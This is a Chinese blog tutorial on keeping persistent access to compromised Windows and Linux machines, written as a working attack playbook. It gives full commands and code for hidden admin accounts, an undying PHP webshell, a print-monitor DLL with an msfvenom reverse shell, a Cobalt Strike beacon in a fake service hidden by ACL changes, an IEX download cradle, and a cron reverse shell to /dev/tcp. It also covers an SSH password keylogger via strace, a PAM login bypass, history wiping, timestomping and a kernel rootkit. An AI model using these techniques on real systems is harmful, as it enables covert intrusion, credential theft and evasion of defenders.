windows、linux权限维持


windows权限维持

俩个方面,一个是web后门方面,一个是软件方面

php不死马

<?php 
  ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行. 
  set_time_limit(0);//通过set_time_limit(0)可以让程序无限制执行 
  $interval = 5; // 每隔*秒运行 
do {
  $filename = 'test.php'; 
  if(file_exists($filename)) { 
    echo "xxx"; 
}
else { 
    $file = fopen("test.php", "w"); 
    $txt = "<?php phpinfo();?>\n"; 
  fwrite($file, $txt); 
  fclose($file); 
  }
  sleep($interval); 
} while (true); 
?>

在网站根目录写入此php文件,访问此文件

192.168.80.145/1.php

就会生成test,删除后也会在5s再生成,而且关闭浏览器也会继续运行

image-20220307141356810

只有重启apache服务才能停止

可以将php文件隐藏并且拒绝写入权限,就减少被发现的可能,且不会被删除

image-20220307141804830

image-20220307141821005

映像劫持

注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution Options

在下面添加项,命名为要触发的名字,如xiaosha.exe,再项的右侧新建一个字符值Debugger,在其中写入你的后门绝对路径,这里写个C:\Windows\System32\cmd.exe

image-20220307142856319

之后我们将一个exe改名为同名文件即可执行后门,这里是弹出cmd

image-20220307143855400

策略组脚本维持

gpedit.msc打开组策略,再windows设置里的脚本的启动项加入后门

C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup

这里可以是你的后门exe,

测试放个1.bat

net user xiaosha 123456 /add & net localgroup administrators xiaosha /add

image-20220307144844191

重启后会创建管理员账号

image-20220307145215211

shift后门

再windows中连按5次shift会弹出如下

image-20220307145755085

思路是连按5次shift让他执行后门

首先将sethc.exe的所有者改为administrator

image-20220307150141678

修改他的权限

image-20220307150236660

首先将sethc.exe改为sethc.exe.bat

move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak 

然后将后门exe改为sethc.exe

Copy C:\windows\system32\cmd.exe C:\windows\system32\sethc.exe

连按5次shift就会执行后门文件

image-20220307150516700

建立影子账号

带$符号的账号,net user是看不到的,但是再计算机管理下用户和控制面板用户可看到

net user xiaosha$ 123456 /add & net localgroup administrators xiaosha$ /add

net user 看不到

image-20220307151733513

计算机管理和控制面板可看到此用户

image-20220307151924869

image-20220307151833309

我们来把这个账号隐藏

打开注册表,SAM可能需要赋予权限

HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User

3ea是xiasha$的值,1F4是管理员的值

我们将管理员下的F值复制到xiaosha$下的F

image-20220307152354515

然后导出3EA和xiaosha$

image-20220307152605257

删除xiaosha$用户,再运行刚才导出的12进行导入

net user xiaosha$ /del

之后我们在net user、控制面版、计算机管理查看,也不会查看到xiaosha$用户

在注册表中会查看到

我们打开3389用此账号也可连接,证明此用户确实存在

image-20220307153058876

powershell 配置文件后门

Powershell配置文件是一个powershell脚本,他在每次运行powershell的时候自动运行,所以我们向该文件写入后门,即可维持权限

首先查看是否存在配置文件

依次执行

echo $profile 

Test-path $profile

image-20220307153832108

返回false需要我们创建一个

New-Item -Path $profile -Type File –Force

image-20220307153909102

接下来将后门文件写入配置文件

$string = 'Start-Process "C:\1.bat"' 

$string | Out-File -FilePath $profile -Append 

more $profile

这里的1.bat是我的创建管理员xiaosha命令

image-20220307154115687

接下来net user 查看用户,不存在xiaosha;运行powershell,再次查看,存在xiaosha

image-20220307154343429

Monitor权限维持

白+黑方法,exe是正常,dll是后门。之后将exe放到打印机做权限维持

地址https://github.com/Al1ex/Monitor

下载该项目后使用VS编译Monitor.cpp,当然也可以使用编译好的,release是编译好的

Monitor.cpp代码

#include "Windows.h" 
int main() { 
    MONITOR_INFO_2 monitorInfo; 
    TCHAR env[12] = TEXT("Windows x64"); 
    TCHAR name[12] = TEXT("Monitor"); 
    TCHAR dll[12] = TEXT("test.dll"); 
    monitorInfo.pName = name; monitorInfo.pEnvironment = env; 
    monitorInfo.pDLLName = dll; 
    AddMonitor(NULL, 2, (LPBYTE)&monitorInfo); 
    return 0; 
}
  • pName //监视器名称
  • pEnvironment //环境架构
  • pDLLName //监视器DLL文件的名称

我们把Monitor.exe放到system32下

msfvenom生成反向连接dll

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.80.134 LPORT=4444 -f dll > test.dll

将生成的test.dll也放到system32下

msf监听

运行Monitor.exe即可拿到一个meterpreter session

接下来做下权限维持

我们需要在注册表下的Monitors设置一个key

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Monitors

可用命令实现,创建一个注册表项,其中将包含test.dll

reg add "hklm\system\currentcontrolset\control\print\monitors\Pentestlab" /v "Driver" /d "test.dll" /t REG_SZ

image-20220307172611847

接下来重启时,spoolsv.exe进程将自动将加载Monitors注册表项中存在且存储在Windows文件夹System32中的所有驱动程序DLL文件

重新监听,重启后仍然得到meterpreter session

安全描述符隐藏服务后门

将cs放在kali,在cs中运行teamserver

sudo ./teamserver 192.168.80.134 123456 

如果没有运行chmod +x 加个运行权限

本机cs连接 监听

image-20220307202539385

生成后门

image-20220307202957072

image-20220307203009779

将生成的后门放到靶机administrator下

image-20220307203201476

通过注册服务创建后门

将后门程序注册为自启动服务,通常可以通过sc或者powershell来进行创建。

cmd创建自启动服务

sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\Users\administrator\beacon.exe" depend= Tcpip obj= Localsystem start= auto

powershell创建自启动服务

new-service –Name ".NET CLR Networking 3.5.0.0" –DisplayName ".NET CLR Networking 3.5.0.0" –BinaryPathName "cmd.exe /k C:\Users\administrator\beacon.exe" – StartupType AutomaticDelayedStart

.NET CLR Networking 3.5.0.0是伪造的服务名称,最好写的具有迷惑性

运行后创建服务,是停止状态我们运行即可在本机cs监听下拿到一个后门

image-20220307203729009

开启服务,可接收后门

image-20220307204209626

但是创建的服务很容易被发现

比如 sc query或Get-Service

cmd
sc query | findstr "服务名"
powershell
get-service | findstr "服务名"

image-20220307210011192

即便我们伪造了服务名,还是会存在风险,我们可以做隐藏

通过修改SDDL(安全描述符)隐藏服务

众所周知,windows访问控制模型分为两部分:

  • access token(访问令牌)
  • 安全描述符

安全描述符包含与安全对象关联的安全信息。安全描述符包含安全描述符结构及其关联的安全信息。安全描述符可以包含以下安全信息:

  • 对象的所有者和主要组的 Sid(安全标识符)
  • 用于指定允许或拒绝特定用户或组的访问权限的 DACL 。
  • 指定为对象生成审核记录的访问尝试类型的 SACL 。
  • 一组限制安全描述符或其各个成员的含义的控制位。

windows中的安全对象都使用SDDL字符串来表示访问对象对于安全对象的权限,服务自然也存在其SDDL,并且sc命令中可以设置SDDL。那么通过更改SDDL可以修改服务的各种权限来隐藏服务:

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU) (D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU) (A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

运行后任务管理器、sc query、Get-Service均查询不到

但是如果管理员查看注册表会很容易发现异常值,

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\.NET CLR Networking 3.5.0.0

image-20220307210815585

如果看到这就很容易发现问题

修改注册表ACL

可以修改注册表的DACL来拒绝对值的查询,达到隐藏效果

我们使用一个powershell脚本

1.ps1

function Server-Sddl-Change{
[CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$Name
    )
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSubKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,ChangePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)

Set-Acl $S $acl
}

将这个脚本放到kali,开启web服务

在靶机远程加载此脚本

powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.80.134/1.ps1'));Server-Sddl-Change - Name '.NET CLR Networking 3.5.0.0'"

重启靶机,在注册表就看不到此异常值,且本机cs也拿到了后门

iis后门

web服务器上一般都支持net,可以考虑利用net iis做一个后门

项目地址 https://github.com/WBGlIl/IIS_backdoor

在网站根目录下新建一个bin文件夹,存放dll集。把IIS_backdoor_dll.dll存放进去

新建 web.config 或者在原有的文件上添加内容

<?xml version="1.0" encoding="UTF-8"?> 
<configuration> 
    <system.webServer> 
        <modules> 
            <add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" /> 
        </modules> 
    </system.webServer> 
</configuration>

打开iis_backdoor_shell将网址填入即可运行命令

image-20220308133207885

可以将后门IIS_backdoor_dll.dll只读隐藏,这样减少了被发现的可能

windows 隐藏技术

刚才把iis后门只读隐藏,还是会存在被发现的可能,管理员只要显示隐藏文件还是会发现它

接下来我们再做一层隐藏,再次减少被发现的可能

使用Attrib +s +a +h +r命令,把原本的文件夹增加了 系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

Attrib +s +a +h +r IIS_backdoor_dll.dll

这样的话即便勾选 显示隐藏文件 还是发现不了

image-20220308134242848

但是还是有办法发现它

再刚才勾选显示隐藏文件的右侧有一个选项,再查看中取消所指的勾选框,

image-20220308134326615

这样再显示隐藏文件下就可看到刚才的文件

驱动级文件隐藏

驱动隐藏最典型的现象就是系统盘中存在以下文件:

c:\WINDOWS\xlkfs.dat 
c:\WINDOWS\xlkfs.dll 
c:\WINDOWS\xlkfs.ini 
c:\WINDOWS\system32\drivers\xlkfs.sys

驱动隐藏我们通过软件实现Easy File Locker http://www.xoslab.com/efl.html

在此软件下,只勾选可读,其他的一律拒绝那么该文件会出现:不会显示、不能通过列目录列出来、也不能删除,除非知道完整路径,才可以读取文件内容。

image-20220308135922941

但是还是会有办法删除文件

  1. 查询服务状态: sc qc xlkfs

  2. 停止服务: net stop xlkfs

    服务停止以后,经驱动级隐藏的文件显现

  3. 删除服务: sc delete xlkfs

  4. 之后删除文件,重启系统,确认服务已经被清理了

linux 权限维持

修改文件/终端属性

文件创建时间

蓝队可以根据文件修改时间来判断文件是否为后门,比如参考index.php的时间来看shell.php的时间,这样就会发现shell.php的生成时间有问题,从而判断它是一个后门

使用touch命令,touch命令用于修改文件或目录的时间属性,包括存取时间和更改时间。若文件不存在,会建立新的文件。

touch -r index.php shell.php

使用index.php的是时间属性来创建shell.php

image-20220308143045754

文件锁定

linux中可用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l查看不出来,从而达到隐藏权限的目的

chattr +i shell.php #锁定文件 

rm -rf shell.php #提示禁止删除 

lsattr shell.php #属性查看 

chattr -i shell.php #解除锁定 

rm -rf shell.php #彻底删除文件 

image-20220308143400004

历史操作命令

shell中执行的命令,可通过history查看

image-20220308143519317

如果不想被记录,可以开启无痕模式

关闭历史记录

[space]set +o history

space是空格,并且因为空格的缘故,此命令本身也不会被记录

开启历史记录

[Space]set -o history

但是如果之前的命令已经被记录,也可以删除之前的命令记录

列出想删除的命令中的关键字,通过其前面的数字删除

history | grep "shell"
history -d [num]

也可以大规模的删除

只保留150行

sed -i '150,$d' ~/.bash_history

passwd增加用户

同linux suid提权

/etc/passwd 各部分含义: 

用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL

/etc/shadow 各部分含义:

用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

生成密码为passwd的密文

perl -le 'print crypt("passwd","salt")'

将用户名为xiaosha 密码为passwd的用户写入root组,从而有root权限

echo "xiaosha:sadtCr0CILzv2:0:0:/root:/bin/bash" >> /etc/passwd

image-20220308144706618

也可以远程ssh连接

ssh xiaosha@ip

image-20220308145158882

suid后门

当一个文件所属组的x标志位是s(set uid简称suid)时,且所属组为root时,当执行该文件时,其实是以root身份执行的

必要条件:

  1. SUID权限仅对二进制程序有效。
  2. 执行者对于该程序需要具有x的可执行权限
  3. 本权限仅在执行该程序的过程中有效
  4. 在执行过程中执行者将具有该程序拥有者的权限

之前在linux提权中,我们是利用具有siud权限且所属为root来提权,此处同理

在root下创建suid权限文件

cp /bin/bash /tmp/.woot 
chmod 4755 /tmp/.woot

拿shell

/tmp/.woot 
或
/tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell

ssh连接用户,在tmp下执行就可拿到root

image-20220308155149364

ssh后门

ssh软连接后门

原理是利用PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动时会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而 su 在 pam_rootok 只检测uid 0 即可认证成功,导致了任意密码登录:

ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

任意输入密码即可登录:

ssh root@ip -p端口

image-20220308164347929

优点:可绕过一些安全设备的流量检测,但是在本地查看端口会暴露,我们可以将端口设置为8081 8080这些端口来伪装

SSH 公钥免密码登陆

之前在提权用过此方法

ssh-keygen -t rsa 
//生成公钥 

cat id_rsa.pub > authorized_keys 
//将id_rsa.pub内容放到目标.ssh/authorized_keys里 

image-20220308165014230

生成之后在主目录下的/.ssh就会生成文件

image-20220308165115000

之后将id_rsa内容拿出来并赋予文件600权限

之后通过此文件连接,

ssh -i id_rsa root@ip

不需要密码即可连接

image-20220308165742695

Keylogger记录密码

系统如果存在strace的话,

strace可以跟踪任何进程的系统调用和数据

可以用 strace获取 ssh 的读写连接的数据,抓取管理员登陆其他机器的明文密码

在当前用户的 .bashrc 里新建一条 alias ,用来抓取他登陆其他机器的 ssh 密码

cd ~
vi .bashrc 
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`.log -e read,write,connect -s2048 ssh'
//做别名,将记录到的信息导入到/tmp下的文件里
source .bashrc
//让它生效

image-20220308170606384

生效后用ssh登录会先执行刚才的命令,刚才那段命令别名也是ssh,之后用ssh登录的信息就会被记录下来

比如我们 ssh root@127.0.0.1

连接后在tmp下就会生成log文件,我们可通过此命令读取

grep -A 9 'password' .ssh-2210月101634901802.log

可看到接收到了密码

image-20220308185839471

Ubuntu利用Cron安装后门

Cron是ubuntu下默认启动的用户执行计划,它会按照设置,在固定的周期或一定时间执行某个任务。

它是一项服务,可使用基本的服务查看状态命令等查看信息。

service cron status

把反弹shell写入计划任务,*为立即执行

(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.80.134/8888 0>&1';\r%100c\n")|crontab -

查看命令是否写入,编辑任务

crontab -e

查看计划任务,但是此命令查看不到写入的反弹shell,以为我们使用了特殊字符\r \n,所以不容易被发现

cat /var/spool/cron/crontabs/root

计划任务运行后,拿到了反弹shell

因为是root下的计划任务,所以拿到了root

image-20220309124058143

vim python 拓展后门

适用于装了vim 和python的linux

创建

dir.py 正向后门

from socket import * 
import subprocess 
import os, threading, sys, time 
if __name__ == "__main__":   server=socket(AF_INET,SOCK_STREAM) 
server.bind(('0.0.0.0',11)) 
server.listen(5) 
print ('waiting for connect') 
talk, addr = server.accept() 
print ('connect from',addr) 
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk, stdout=talk, stderr=talk, shell=True)

运行py文件

这里让它运行完之后2s删除此文件,减少被发现可能

$(nohup vim -E -c "py3file dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py

#将nohup的执行结果输出到/dev/null中

#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。

#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误 输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结 果是否正确,都不会有输出。

连接11端口,拿到shell

nc -vv 192.168.80.146 11

image-20220309130637287

但是运行完之后,可查看到可疑进程vim

netstat -anpt

image-20220309130118209

如果管理员看到此,很容易被发现,我们需要将他隐藏起来

创建一个mull目录,将此进程挂载到mull目录下

mkdir null 
mount --bind null /proc/2520

#mount –bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来

image-20220309130535159

可以查看挂载的目录

cat /proc/$$/mountinfo

image-20220309130557066

取消挂载

sudo umount /proc/2520

inetd后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。

当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的这个socket交给那个程序去处理。

所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

配置inetd

修改默认端口 
/etc/services 
woot 6666/tcp #evil backdoor service 
然后修改conf文件
/etc/inetd.conf  
woot stream tcp nowait root /bin/bash bash -i

此处6666就是我们连接进来的端口,可以设置为常见的端口

配置完后inetd运行它

之后通过6666连接进来

nc -vv 192.168.80.146 6666

image-20220309131939876

rootkit后门

rootkit分为内核级和应用级两种:内核级的比如:Diamorphine,应用级的比如:Mafix

Diamorphine

https://github.com/m0nad/Diamorphine.git

目标需要make和gcc

进入工具的目录

安装模块

make

image-20220309150242067

之后必须以root权限运行

insmod diamorphine.ko

获取root

kill -64 0

image-20220309150314241

可看到web2用户拿到了root权限

创建隐藏文件,ls,du都找不到

kill -63 pid号

只要是diamorphine_secret开头的文件名或者文件夹,就会隐藏。

touch diamorphine_secret 

卸载diamorphine模块,需要root权限

rmmod diamorphine

文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录